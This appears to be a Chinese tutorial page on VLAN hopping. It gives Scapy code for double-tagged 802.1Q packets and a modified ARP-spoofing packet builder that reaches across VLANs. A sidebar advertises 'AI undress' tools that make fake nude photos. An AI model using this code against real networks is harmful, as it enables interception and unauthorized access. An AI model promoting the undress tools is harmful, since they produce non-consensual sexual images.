Python黑帽程式設計 3.4 跨越VLAN
VLAN(Virtual Local Area Network),是基於乙太網路互動技術建構的虛擬網絡,既可以將同一實體網路劃分成多個VALN,也可以跨越實體網路障礙,將不同子網路中的使用者劃到同一個VLAN中。圖2是一個VLAN劃分的例子。
圖2
實作VLAN的方式有很多種,基於交換設備的VLAN劃分,一般有兩種:
l 基於交換器的連接埠分割
l 基於IEEE 802.1q協議,擴展乙太網路封包格式
基於第二層的VLAN技術,有個Trunking的概念,Trunking是用來在不同的交換器之間進行連接,以確保在跨越多個交換機上建立的同一個VLAN的成員能夠相互通訊。其中交換器之間互聯用的連接埠就稱為Trunk埠。除了80.2.1q之外,思科有自己的Trunk協定叫做ISL。
圖3
圖3是802.1q的資料包,和普通的乙太網路幀並沒有本質上的區別,只是增加一個了VLAN Tag。紅色部分的VLAN Identifier識別了一個封包屬於哪個VLAN,從而保證了資料廣播的範圍不會跨越VLAN。
現在做簡單的思考,想要跨越VLAN通信,是不是只要修改封包中的識別碼就可以了呢?
3.4.1 VLAN Hopping
#基於上面的分析,我們考慮一個簡單的場景:跨VLANping,從Vlan1的一個主機發送一個ping請求到Vlan2中的一個主機。
在具體編碼前,我們還是要先解決VLAN封包建構的問題,在Scapy中我們使用Dot1Q類別來建構圖3中的Tag部分。如圖4。
圖4
下面我們可以寫一個跨VLAN的ping請求了。
#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \ Dot1Q(vlan=1) / \ Dot1Q(vlan=2) / \ IP(dst="192.168.13.3") / \ ICMP() sendp(packet)
上面的程式碼我們指定了目標主機的MAC和IP位址,新增了兩個VLAN標識,第一個是傳送資料的主機所在的VLAN,第二個是目標主機所在的VLAN。交換機會移除第一個標識,讀到第二個標識的時候,會轉送該封包到目標主機。
3.4.2 跨VLAN的ARP欺騙
3.1、3.2和3.3節我們都在討論ARP欺騙的問題,由於VLAN限制了廣播域,我們之前的程式碼是無法跨VLAN進行ARP欺騙的。不過要解決這個問題也很簡單,只要在我們先前建構的ARP欺騙資料中插入VLAN識別即可。下面這段程式碼是我們在3.1節建構ARP請求封包的程式碼。
def build_req(): if options.target is None: pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) return pkt
在建構封包的部分,我們插入VLAN識別:
##
pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
3.4.3 小結

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

熱門話題

Linux終端中查看Python版本時遇到權限問題的解決方法當你在Linux終端中嘗試查看Python的版本時,輸入python...

在使用Python的pandas庫時,如何在兩個結構不同的DataFrame之間進行整列複製是一個常見的問題。假設我們有兩個Dat...

如何在10小時內教計算機小白編程基礎?如果你只有10個小時來教計算機小白一些編程知識,你會選擇教些什麼�...

使用FiddlerEverywhere進行中間人讀取時如何避免被檢測到當你使用FiddlerEverywhere...

Uvicorn是如何持續監聽HTTP請求的? Uvicorn是一個基於ASGI的輕量級Web服務器,其核心功能之一便是監聽HTTP請求並進�...

在Python中,如何通過字符串動態創建對象並調用其方法?這是一個常見的編程需求,尤其在需要根據配置或運行...

本文討論了諸如Numpy,Pandas,Matplotlib,Scikit-Learn,Tensorflow,Tensorflow,Django,Blask和請求等流行的Python庫,並詳細介紹了它們在科學計算,數據分析,可視化,機器學習,網絡開發和H中的用途
